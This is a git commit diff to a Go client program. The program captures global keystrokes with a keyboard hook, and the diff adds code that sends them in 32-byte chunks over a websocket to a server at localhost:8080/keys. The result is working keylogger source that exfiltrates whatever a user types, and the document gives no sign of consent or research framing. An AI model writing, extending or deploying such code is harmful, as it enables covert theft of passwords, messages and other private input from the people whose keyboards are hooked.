✨ Adds websocket server connection

client/main.go

@@ -2,7 +2,10 @@ package main
 
 import (
 	"fmt"
+	"net/url"
+	"os"
 
+	"github.com/gorilla/websocket"
 	hook "github.com/robotn/gohook"
 )
 
@@ -16,7 +19,45 @@ const (
 	REG_END       = 255
 )
 
+const HOST = "localhost:8080"
+
+var u = url.URL{Scheme: "ws", Host: HOST, Path: "/keys"}
+
 func main() {
+	var conn *websocket.Conn
+	var err error
+	var tries = 0
+	for {
+		conn, _, err = websocket.DefaultDialer.Dial(u.String(), nil)
+		if err != nil {
+			fmt.Printf("conn err %v\n", err)
+			tries += 1
+			if tries >= 3 {
+				fmt.Printf("returning")
+				return
+			}
+		} else {
+			fmt.Printf("breaking")
+			break
+		}
+	}
+	defer conn.Close()
+
+	go func() {
+		defer os.Exit(0)
+		for {
+			kind, _, err := conn.ReadMessage()
+			if err != nil {
+				fmt.Printf("got read err %v\n", err)
+				return
+			}
+			if kind == websocket.CloseMessage {
+				fmt.Printf("got close message")
+				return
+			}
+		}
+	}()
+
 	evChan := hook.Start()
 	defer hook.End()
 	buff := make([]byte, 64)
@@ -71,11 +112,13 @@ func main() {
 
 		if REG_START <= ev.Keychar && ev.Keychar <= REG_END {
 			if ev.Kind == hook.KeyDown {
-				fmt.Printf("adding pesky %d (bcs %d)", ev.Keycode, ev.Rawcode)
 				buff = append(buff, byte(ev.Keychar))
 			}
 		}
 
-		fmt.Printf("'%s'\n", buff)
+		if len(buff) >= 32 {
+			conn.WriteMessage(websocket.TextMessage, buff[:32])
+			buff = buff[32:]
+		}
 	}
 }